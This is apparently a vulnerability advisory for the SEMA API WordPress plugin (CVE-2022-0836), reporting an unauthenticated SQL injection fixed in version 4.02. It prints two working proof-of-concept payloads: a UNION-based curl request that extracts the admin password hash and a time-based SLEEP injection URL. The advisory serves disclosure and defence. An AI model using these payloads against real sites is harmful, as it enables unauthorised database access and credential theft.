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SEMA API < 4.02 - Unauthenticated SQLi

Description

The plugin does not properly sanitise and escape some parameters before using them in SQL statements via an AJAX action, leading to SQL Injections exploitable by unauthenticated users

Proof of Concept

v < 3.64:
curl http://example.com/wp-admin/admin-ajax.php --data 'action=get_semadata&type=attributes&catid=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -'

v < 4.02
https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type=deleteattribute&catid=1&attrids=1%29 AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b 

Affects Plugins

sema-api
Fixed in version 4.02

References

CVE
CVE-2022-0836

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
2a226ae8-7d9c-4f47-90af-8a399a08f03f

Timeline

Publicly Published

2022-04-13 (about 2 months ago)

Added

2022-04-13 (about 2 months ago)

Last Updated

2022-06-01 (about 1 months ago)

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